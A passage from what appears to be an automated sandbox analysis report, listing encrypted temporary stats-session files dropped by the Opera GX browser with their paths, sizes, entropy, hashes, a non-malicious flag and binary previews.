                                                                                                                                                                                                              Preview:........XFDf9x0DeKqThnnV5WVzyLsCVZ++D33MYDyd3Df8zd4c=.......{Y.#.?..5}.?...ww.cI...$..xC(..!.n!G...E/`.#.....]s.[...=.!!F.....)..........?..@R..9..i."fS/.nu.(_..)...N.Ca}YDH.[. ..c......u..4...........Z.o.{Sv......AV....tU(..Z/..._...`/.@.c.2.T.X.!......(..G>7r..q}..;..nA.7.[..&.b."$...x.....Y......y.......{.......Q7.....!R...p`.K..ccxi..(2..b>a...-z?...36...\.........uRb$8c..>w...$...2H.K.>.........!.}7.0Me...T.4...m,..........i...s..Mn.-......:.............<...^+&.}V....8..x....h..^....`...4.{7b..q ..;..G.?H<m.$........,(.....lJ%.fkpx..4{...*...|.W..s7Z...:.{..O..1....T/P..5.: )..g..t..F?O].(3^..b..k/:....3...Xwx.../..+..W[.....cS2e.>.7.d..+..... ..B!..3..7.B~..T(....M.{-..(...2..;.....d.'.fU.~.....,..x~....~......I..z..J...U.A.A|.19EOnn...t..M.Bh..uK..D..D..+.p.~..l..5..~.8Q.s.#...4..O....5Z..u.Q.on...-...$.n...o... 2g.\.whx..."..4..[...Fa.....*...../c.2...5.?&.1kv.....+j.G.N../.`._X..)..d..]..]..[..;<../.$..."}t5.F...) h.4x#....5.o$..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\8867e15e-09d6-4634-a5a9-2dd0aa2b4b46.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.982830818983905
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:FE59A1D0C40B1322896DBE89C657C1B1
                                                                                                                                                                                                              SHA1:57FF9B25C2E2BBFB59DA9F6C554F9BF14947AF65
                                                                                                                                                                                                              SHA-256:1BF7FD64B4B9154B8AFC0C8E6A0C0775CF0A9E67667C3D3C7CAAF3C1F554C1DE
                                                                                                                                                                                                              SHA-512:722C628BD268A8C40274DADDF7515A15B89EAF4352BDE684D475D3A8FD95802CCC471CC3A0D7329CB66A0AC6A31394C08665A9304AC270E3EB96D2A83BD8B88F
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XUoPFmbsOZfRNC9SYX39G4Ccia2XCT1U1asdYodDemeU=.......#.w..).?.........r.....l.M.WW.....".t..............."...g...e.x.. .2....\_;...a= ..'....S...T.{...4`W.....)..R..*Zz...:..]E.AlOU.jI..N|?. m$.T.q...{...\.6..iV.S.....6.c..&%.{iw.2..".R..4....5Tw._..A.o^.v..{..N..)P..}z.H.....GK...Z..4...j...o.@}_9g.....b..^...uVy.*.......q.k#B$.9...$SUL\..:..I....f.....&\n.B@.<....L.t......-.....CU.;.x..,.T.T...<...%../..w.....)w&..h.}... .....aje.|p<]P|5'......2...p...v..P...fSx..O..\.&...V.d..pnY./._8...@1HK........%9....;...l.w..<..metW.]..t......xJ....".......d.uX8....q.'.\..b.E.....e...n....i=m.J.-rMDH.........(.Z1....?t.......J5...hP.|...(...:........>.......Z.C. ..4N...Y..!Xp.wG7q.k.}'N\l...~..G......m......b7...[.Y,.3O........mJOjA.\........m.....n>D.y.Sr.....YM.4.V.....DQSV.l.8....o...DS.g.m%..v.8.T..B.ai...,.O...E..$....(..@S./.\5%.z..p..R7..,.{k..5....g..EU.....)_>.......W"xX..c......Z....x.a..sG....:0Wd.....yI.r:.......U?.O+m.\..f\E

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\88ea6be5-847a-4fe7-8631-53326fc4f305.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9310
                                                                                                                                                                                                              Entropy (8bit):7.981245263799423
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D20A5CC76AD68726CE2CEF27EC00CAE4
                                                                                                                                                                                                              SHA1:1CDBCB17940169B1ABD4157DD9573E31DF6EF771
                                                                                                                                                                                                              SHA-256:9258213A7AB2C987BE0F729842207BAA4AA4863DD4E9523B54E5A0656C422AE7
                                                                                                                                                                                                              SHA-512:AD6D7F59C13E6E6DC1159907D71A8CA9A5F5A1A642F1CEDDC02025E8F5147808F295C5DBC06A6D80B9B8F3BCBA3B4E8B3542BF8B9A9B44C2AA24F41C2E5D9E5A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xxroz2PSFRyafgQz2EHXQbZxmrwPNVkmLmbr+Mu7C2ww=.......qp..g.2....v.-..(.I.@.Y.W'D.F;.$.SC........C..jQ....v[A...05sh&.R.6_.....Bv.....A<.....H(.....8M.b..(.:...H.....uTPE.a....Z..=....T{...q..<..`c..S.M@E1.j._..#}.y2..'......6Z..t.d..r..nm....+...<.NT...`...n.2...`.i..s*j.W-....T....N".3.-Y......n..L...+....."C..H4.c..5w.~..US.....(..fg9 ...FG..hS..L.. !;*G.$....}..^G..}?..}3n......N...W..q..Hg....3B.2_.,.B....m......e).rS.(.,.f.<....`.C...5...t...P.D...I.h.l.T..u..0"...M..F..V.......}..@..:D.....Z."..Q.".._..............au.y..Tz...s...X4n...hn.....o0.Xfr....-.i..z.......S.{..q.L..w.@t7[w@&=..`I.w/..Y.M..0f....PT..Ri.X&.O..].......h..W/.`.....T.../CVQ... ..}Mg..H..w.k@y...G.1.>u.A..bjw.f...w.....b...{nskJ..Z....t...2......y...o.t..G....9.F.MI."}.........1...X.n.y.......B..R`T...&..c.r:.U.EP.......%.g.&m.S.kn..........(... .._..Z.Jv.V..........].EI.0.'... .V.J.......7.;V. .<Ps..[.o..!..U,S....XB;~.&.y..M6.4H.K+Q..X-.V.......8..o.9...|f\r-d...&..

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\8990f83c-b1ef-46b1-8fe5-2247bdfad6a1.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9966
                                                                                                                                                                                                              Entropy (8bit):7.979644119077571
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:467D2B478F9C6F6E0B52E4664008242B
                                                                                                                                                                                                              SHA1:FD44DBF8E14F79C4D4819F2D0D791702FED945C1
                                                                                                                                                                                                              SHA-256:08AD756830E714F9D24DD867E739342294CFD8304F72117FFB30358EFF96D868
                                                                                                                                                                                                              SHA-512:54A1E2830752C3EE88AB19D442BBA9ABB3B1E5BF5D243D33AB19B3A9B65E5797B617FFEF54CBD073C7C7E8E2A9A0F53CC3735F10A2D33B41CC9BDDA7A54A6FA0
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xcb51tP6318eloHdGNNQYV21JewvOx96MN7pDKATesak=...........Zb...a}_8i....=.."....,..~......(..0.8....~6..->.C....j...1.....8Z....:BT.................c..E;....V/Y...l..X.z#.M..~..{.<.K`|....'..r.........A.SL.0...?.t._z.WB..l.T*.6.;:.ZJC/...G.^....<..N.'?.+.>....O.!..N.....)8.=.!s.....[...N.a..s2.a.q=..T....0Q....A..v...WE.H_..'5...A.i...1(.L.....=..T.....q..I...p..)&{.......x-.._P._..:5:.B}...^..8.2tM{..^0.T....k..;....]...?".....r.?PT@.....U.V....J..[.?.H:..7.~.....8:.@@.|.R.:...u...y*.....`.%.?lS.-.D.?.yB.....k./..8.mI).._.0...:.poF9..uk.P.]~ZJ!..P...i.Ys.H.LK.....d.8.,...v......;.q.y...Qn\..[1.~(..`...N?.b"S;e.v:.C..r.....8q|..(.!...\_.........<...g.b._./U.....w..e.:Wc6..9.........|VcQ..`5.'.J........."....*~E..W..p..6../.......(a......X.....6H\......(..${}...G;@..?RY.X.2}..e..g..r..-......<s..A!..p....Jb...c.J.Rb!;7._..~t......w0...#.t.j..K......M..q....J.+.Q,H .L.S......!7.%C...E.Ei....U1.gC .Sx.....9..............G5.......P...j.O..y

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\8a2cb763-2e24-4f33-94e9-d3be2e7dbc82.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.980598466170448
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:866EB5B094E12ACCFC17AE0E3D2E3DD1
                                                                                                                                                                                                              SHA1:E398174BC38CC5E303A0D981B23644FD329D5074
                                                                                                                                                                                                              SHA-256:CDC718031A40AF91E77B848785F1338F073CBD61683D9BC8F33CABA1C30A90D5
                                                                                                                                                                                                              SHA-512:6D59A1DFCBC8AB8A1CDDB23C8E1C55BCBB12CA06F2203B01F3ADE64354E41B71B7C52F5222C08C378E0833C6BFEB74469AEF80552272CF1DEDEF4ACB646D7D3B
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xcj6kV8J+Ug4ryy1m11NJuONsqce4v9Wk69StPnEiv4s=.........`51....S.?..14dH.}.2.C..?B......@.X.a...V....U.I..l..1......i(..ga.$.Q%..T..>h<>..B..%../E..t...Gr!....'{.......R....Y..s..a...C=....Yc..}...w....f...,.s...........w......{...T.Yp.....Uu...../.ABpW:..@.h..)t.7V.....D.......\.R..Db...T.\...`..m...j.[.R].D....!..n..a.08.>.5f...0]}..%..52...uG5.6.h>...........j..^..LRs..je.3..?_.:..^...R.._.~...M...d..r.`-0.W(.W.....g:.~R..n.Q@.....o>4]Z...bg..s~..._..xP...T...._...]u...\...K./Wp....z..s#o.._....'...%=.N5.h....U.-.W.-..w&......'Mc....=x.!Up.x.a~.2.P..0........O....k.i.T..%V5uf.#.o. ....6O.k(a.{.].K..0.;.J....'..m.._._ri.........}=.ngE).Ft....cy.wH...GwO.R.Qu.....B.........z.|..e.....WpY.!..{...a).......\....e......._.C....&....3^.GxkC..cO..vV....yi.#....vq.dg.C..:.8o~/..LQ....U;G!p)T.7...)......^....T*4h.vk....>....m.9..D..l.fn...loh`.m.ru....5kEU..;..{..Ku4Ds.d..$..*..L...Z.M.1.x..."U9K.v.....S.....MQ....S.Z.....$..VqK

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\8bf51d48-d04b-43e9-8ce1-a5e0ea097ae6.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.980535975693809
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:B563593527357BC1C0B9F38A79B8AC70
                                                                                                                                                                                                              SHA1:0CEE0EF4FAE01A8273A060BF9539F1F146C87AE1
                                                                                                                                                                                                              SHA-256:23730F648A6FA8684F01BF0630E76892E2382D152B2538EB64FEC5A54191AD22
                                                                                                                                                                                                              SHA-512:949D4FDF7281783840D2F2BD3DCBB1421D38EFCDDE56C572D1023E59FE9261B3FBAFB55FABF3C230DA3F8613F41F11DEED644DC0255627211D5F60623ABC1479
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XF6wmB0rga91BhKOlwfVOHTLcab/jB10tANYtmQyJcpY=..........q......:.0B...d9....0.(..\.,|........E.9...i.....b..^}(.t.*"-..;Q%...V.d.......M....N5..Zc5.c..}.~.....3.b..r(.xA.t..*i.=~\.[r.B..;f2.Lx.R..N.....L. .~&.z.C.)..*./7.l..\..r........b.li.g...+.X...7a..9d@4....M*Z.x...3l.1...y.b.|(.?..m....R._.@..f.5....Y..A........o.....<b.#|p".s...N.3.`.<bm'....GY.n..l..#.........-..a._kW.t.E........(..`i"C......_...Y.N....]....!.r..,$.q..mu.....Lv$...#*]..5...t*n......R..W....K..y.p....V......Z...'.j....e..?.0.a..<....~IXr.A..GOt7Js.d.t.......N..C3.h%...l.?./..g..ZK7K,.{{?..Foj.....sJ......O...Hh.<..c&.Y.G.v91....VQ|P...`..x.w..#V...8...}.....wZ......X.H!y..g../........W...~..L..9.f.......cR.......0_...ns.,..(.}.Mi..D:.f4.[33..q^.....z.~~./.w%.k.6..R..i.T6-.R.?l.....&<....7...Cuh%Y.F...C....LL$.T.%..`.{.;..{5.<....:hs.)9(>X.qt..,.........#......m.h..,.....W.._.........2....j......sx.........e..G...Ncj..w..6.#.=.N%...ZR....t..%.VcL...jK.Q..:#A...

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\8e3b6602-8d15-4c51-ab3b-c94057b72f10.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):909
                                                                                                                                                                                                              Entropy (8bit):7.7621695751639175
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:8A9E7759C721D1A3E8DD82838998FEBB
                                                                                                                                                                                                              SHA1:4EE8D3F11CEBF7481F08A636AE904D18980425B3
                                                                                                                                                                                                              SHA-256:AEA60B0F439FC4B8F27B4A85102907C57F14F1FCC2E536B02A5764D4FE86B3F0
                                                                                                                                                                                                              SHA-512:FB6E4025DC160D826B41364AAD24A927DF171AEE7C37CA3EBF19DB9E9631AF6B1579A2A31EF828FB5D5889EEB409C306CF1287216DD24073254F789B8B7F5C02
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X3AYiYu1t1f0mc3cYbByGyD4xGDerufSmFqZTGeip3ls=........f...a\-n`.gi[..u.$.;t.<......,..Ye..d...w.pjb..3."....Jbm_....g.....%...P;N...Y.....S.bh.hdV<.x...O..1/.......X..3....kv.m|X.?X...T.F....S..ki.&..D-.;...k........4.yf..o.B...4.]....l.K,"r6.......(|/...G..%B...f.....wNgs........B..5...8..".bXji].%.6...C....RoQ..c~....Zb.XD/....DS.Z.JA....?..Y.L.H......i..xv..ON.}..E.e.ex..K.\.Y...L.?..Y5..(..W...|..3.........../o`$..N..pL`.-&.-....(S.]N..p...?&LWV.XMnh...&PR=..n.X..0...Ht.......)|J...L......w...{..u.............&o.......5{.......Cqv(.~..x...V...z....zw`...8...>..?6..Q..o.xy.(l'n6|N.... ..?._A..:......i...).LHJ.e...HRa.TK 9..#.Nl|...+.F.\.OG..%.O.f..A..g<.x...&a......J..Nh+.P..ln.$.Y.I*...]..o&...+.2!i;.:;.9....)D...._.d..Y.,Z>.~@....E1B...FX[.\yB.F...J.lB.P..F../.~...u. ..<.......t.jXk0....T.2IA..~-.x...!L......p...?l.". .....1b..2..*.W..1sR.*v.W.....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\8ea65288-557f-4189-bf48-d769c7ad4066.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):9422
                                                                                                                                                                                                              Entropy (8bit):7.983620556136413
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:C2CA3EC56C9413A7A7860F048719B6B6
                                                                                                                                                                                                              SHA1:0AE03C4109D43FF91D0B1200EF8437FB27B5A31A
                                                                                                                                                                                                              SHA-256:E53062327E54B7256AE9A1315318D375E1D00AB1386C6B9DE3F7725990D5E305
                                                                                                                                                                                                              SHA-512:6972844D541D8EA11E61BAC39D4A9DBB8B1158A90674FC7D1A3FD513A3FE6C0229CFF4214A895FCDDD69F6D53118C79DC65D985CE5A85E37643D7FAE4D58AEC6
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X6hGje04G/7ABvk+XLlOxjMT5I+jxjoOW3IzKcAYDVso=............XV.....T44..z.r.......M3..~.....X.Dw.@...'c...<..uU.\n.[Q.O...s.kR..Uv....5~@{..`.~.f.~f..$.'....'.0..mAV...v....3..CE_......w..%.YN.N..Q.f.9.....o...'-...t..............C..4...Y.6....B.9..(....t.T5...N2.j.u....lK.........R...?..~.my> ..R.....V\T.....v.l..1..t.?..c.<......W..j.._.....n]..Q0w.m..-...L.v.S.@[U.....N.=?O.....y.D....g....6.'.a...P.'..._...TCS.....>Af..%.......,.c.-N0.k....=.:.[....T..V...[e....#J......I(5.v..P.0.....J..~='.......<..N,...?.E%<...B...]m.P.....@@.F.99V.....S.;.P.../...B.T.B...j*Q....q .H...w.',......?6...`..2..}.........%.j1G>4.h....bda(..E....B..VFD..J..F..:}7.3...a..GV0K.....1R+..~lW......[pgV.R..a:^....1F..#.&4%.@.A...:..7%........fH\....).F...6.....A._.%.... ......l.(..."P.,.2J5](..X.....s...<EV-.z0n.>.>..W...KD...0..:^S&H8...d...3.e...O@..H.(.$|?l*0....r...3.Z.v.G..@.V.ZO;(!.$F.%%.C.w.?1.QvE.A..znb_ x.Z. ..H..b.<...M....^C!....c.r..WH.9&../.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\8fbec466-d3ba-4a4b-ae51-880a3acaf448.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8638
                                                                                                                                                                                                              Entropy (8bit):7.978257532008019
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:9E5CBA6760DFA452E36D9657743F67B0
                                                                                                                                                                                                              SHA1:D310A60C3DBB4F7AF84A473678255BA5D5C70A70
                                                                                                                                                                                                              SHA-256:64C09409E2705EE8AFB25609F489B33F4037D6264CC53CAAED5B5F1C94F64656
                                                                                                                                                                                                              SHA-512:54A425DD1147199A5B1AA9D3DF4059A6480D3A9F08B5A4B2307577010137ECA60F77943DCA8C1182B38B43509504F65E9E0F9F83D1629F62407E00B463ED4821
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X9mysbA9xQ79/QiYgDG8a8pHGMMxTnFQ06++KxOE/tqs=........Yx.'|9*.Z..`.....i.4-.....q.).t...`.O.!...X....B...J..d....,.<!..1.........`!\.=R.$..G*......9MS`.....[.....s.\.=..{...S`....<... B....3......*.`+:.M,.z.h[.&lBX.&6,.B.\-g.....1+....X.%y\...........B....61.oh[1..w...JI\.>O.[.....&....r......};l.E.um..C.........P.bs..{.........^=....r...#.#..g.*.ai......?OfM....d..)..r.X.9Qb...o..]>..I.u.B_Gf{..[.>...r..h..u....).-....U,S3.W...GL..I.t........1T-.(.pr.*....&&.....P....n...".v.?... .B....+<.iZA...$D...3.,.~.YM.Qi.M.PEr.c.....34+U..`..e....%}.8..xp.&.Y...@)..e3..(...x).wh.HA?,N.$.e[....#Uj.rko}\r.0.nTV.&.Y.0H..P....S.LzJ.A...."4....]..Np..B.m.aD?.e..7sV.......({.)...;)...,.U:.-...'e........N......5b:r.X.....1..#.w|.Z.....`Q.....::.0.#. ~.6.j..^8...{..+G.=n...X....*...{.&...R...O|L.x.+.._..D.^......cw.....-vs23.Q...O.Z.W.N$]..M..KV...{..5.p....F..1..u..2V8.....6.D.v..T.&....>.#\6.{..C.._...n."*......./s.9d.K`..s.8....&{A%EQH..!..).;S).

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\8ffcbec1-5cde-4508-9c1e-ef27b2f77b2a.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):8766
                                                                                                                                                                                                              Entropy (8bit):7.980109844838694
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:A4643C0DA19C53012A9589E1F2CAB456
                                                                                                                                                                                                              SHA1:F81AFF80CAECFD9E36251A22BD9DFA6188EFC352
                                                                                                                                                                                                              SHA-256:6A51BC86A3EE04E8CB33D4E02141B740F71A5767FC3CA222333ACDE58A7A7D2D
                                                                                                                                                                                                              SHA-512:AED3B51E01840BA2CA05BB786A802F99D6F802F1057C79E8147CB92743BF12D4B63D8352AAA4ADABEE57B58D8F2DD3D6EC66B800678D3714AC6552C2199FB9A9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........Xt6i+YYVJrQ3XT7WiHxNPpnOqDxeI3EW98Bdy4R/XNhA=...........J=..+.\j.fE..i....5J#.K.'..i_Z.g~...4...0c..B.<u;.\.~..}.B........XG..].G.LC.....;............".. .q...#..#....e.AE.../..W$..T.f.....4d.F.....<UIs.%..S...|.-.[.$..5.g...g.R<......)E.3.b....K...h..Tv...'.&.._:1.H..c..h........#...G.0...R.t.....d...r\.h`..._.`..=.r...0.:O.c..0:.d.,>..g....w...._.Q.u..$D.1.......4....&(.]..b. ....O .n..jj...g..?.".o.!.o...E.. ....-.=....N..-t.&...}......1Z.;..Br.j..5.....e.....0.....X...yb....`f.k..8....V}Y..'&..PK..-..Q.......+...P.h......(../.L..[......4/'...?.Z..Du.xM..&...^t.(c...........k...xD.@..zQ.jC.].Pus...^.n........-=.... .....oR..V...h6..@....A..5,G.h.Nt]fV....;h.>y.7.(|.2F..v..3r)2.?......G..w....?.'C...x}.q...U.F..8.`...hr..........mt.X.{.........2f...q!$....V.:.ak..T....rd....k.o.#(.\.0..=...H.E...'..d.".t.K...........y.%.\.D.}...60cf..o.....m.U....4......r9....>6..+.....o..X.Y5...WL...7......e.}...a).a.f~XX...6h.+...Pr....x............

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\9107edc5-59c7-4cb4-abc8-ee8371dbc051.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):10286
                                                                                                                                                                                                              Entropy (8bit):7.983116811841026
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:B6F26FF7126E45082F48852F6878DF51
                                                                                                                                                                                                              SHA1:D35A1C4E4F264D4D00728B83D80378F171CCD0BD
                                                                                                                                                                                                              SHA-256:F97FCD766DBD796AC54EC5AACFD06DB32D7CAE2C13AAB736FC8F8C01E8827D80
                                                                                                                                                                                                              SHA-512:46B5893CB2201783E1F383C5CAAA0A63D8D9EF7796758F9914473370C0A49C3626679E66A497DAC114B5CA83C1E562B23EE406628F054D182EE4A2AF0C0E0BFE
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........X94xZiANlzDMenFvb0QFIv2q/clVWNq2WAMMvlNawZBw=........-...,...e.."...i\..O...J..[.J.3[..5..B.....Ae:..SN(t......ux..b.U........l.b<Uz..1...`-.d....Q>.."h.g..u..>...<.j... ...Go.D72...i..1L..dH..;.?q......p..cC..>..CYX.6.@Kt9.$M..`l..W......W...Yf......G...wp5.E0.[.$.F..f.p.Y...dq..6[..J.~...o..k4R..G".>oM...=P..........*...\..r......._.....t.'^...M./.A.f*5%...C..#...Z...a..N@.P..`..t#}:...._..l...!VfD..=.c.B..7....Q.6... r!.......TyQ`...|k./.U$.......wq..."..*z.1.....9k0..;.......|.Z....j.N....b.....c*+...J.:....:W....(T.h}F$.....;._.... ...>.S..?.|..j...3..R.U....e.9....Q.[>...%.k...{....~./rC...t.l.&..h.t...#.*..'M7..;..j!.Y"...Z..T3.....Z>D) ..,..7..A..+{...^...[U.M#..j"V..v..`-..2).xg..A..`.....BQ......00&.l..S0g...W.N..KO-.U.....xt(._e)."..lT~>..7..1.umn..A.}L..<}7..SE......w.r..8...n.%.3KFa!. ......V.wAw.....yn.....sX/.=.xS.0^.=....$FK..N.s....tI.\..d...."N..+`..^%.....R.gl.. ..-..O..?P.h.y*]d#qs.P.@.<........2[`..w..X..e.P...

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\914c659e-6674-47c7-b2d8-c066598dc5b3.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7341
                                                                                                                                                                                                              Entropy (8bit):7.97769376908448
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:F98E4B1D98B1618B07ED93BA87E40092
                                                                                                                                                                                                              SHA1:57FCE3E7B3AB0E836CCEEA642E21BEB811949392
                                                                                                                                                                                                              SHA-256:64030C231208543393739D64DD22591B180C6CDFE006DB67562DB1BB2F1D9DEB
                                                                                                                                                                                                              SHA-512:158F9747CD1552F9A38BA11EC4BF90480E0268509F9EA0594CF6B98D01340670E5ECF555C8383E1D9D0993344FF080D7D9F3EBBEDEC720198D37EA40826F9A3E
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XQwt+vLjuTxAoTRDI1CoftSFv6andatuIF83SwikkFUA=.....q..(....h+.=...|..m.".\......J.......gh.(....h........Qh<.+.k./.6Q..1...<q{....4...@3!.~...M.'-....b]....9RI.^..n...E.......oz.%9.*`..yy:.g..f|.5[f_......%.'.+./..9,,.....;........G....M..2r.dK......./*5.....O......U./n@-..Q.X..Ij......=.W.}^l..O.2...#wy...$.M..!.L....>.4.....\&."r.."..,|...z..E...h.U.}.?Z..m?%+......1../.B...1K...7....+.r...`|b.>8.{G....z..Y.O...qV..8......DQ...q...."j.!.R.=..?..:...2!h`|..iC}l.E.+..w}.....$...a*$o=.>Nh,..^..H..J^n...M.....ac..za.Ef.0KK-.E..h#j.@....4.L4=.....%N..VR.ph...Y].s'3.#m"N~...j....b........[Ge.IB6lA.0.h.p..X0ij.A.n...B@..?...q.yFl..I.8..u...v.4..@.f :.....L.....d.'_w...+....6)..d. '.....;T.._8.Y.....b...8c>.O.G..X..I......K.hq.`..f..tSM..u...o..Id...2....|...q%c.u{.....s.....j5..#%...u...d....add..s.......3^....\s.Z.o.[...*.F...'..nWV\.c...n.1+X.G.0?....|...DP..o..x5O..2..y...F.~...2...K.t.|.....M.`..+......t.a....G..^2.:?5.8.Ly8XV....{...*.G

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\91eb73a4-7424-4e0f-bb4b-9d7b56027ef9.tmp

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2221
                                                                                                                                                                                                              Entropy (8bit):7.913902377490912
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:7C88AFE0B99E54B5E58496AAD303481D
                                                                                                                                                                                                              SHA1:71634A4F7443825B6B86EF8ADCB034A272793CB0
                                                                                                                                                                                                              SHA-256:232B1D1667397D747E5F6EDC1FEFDD3CAC7FAFE0CA303E44728220267568A0A3
                                                                                                                                                                                                              SHA-512:7FC906E20866DC275843333F8C3D07BC8EA4FA6DF4EF2B384A0812E459AF4A8DE871F0B4C805C5C9AA729C6C45E001AFFA736CF57BCF6DFFA6FC890527B44CFC
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
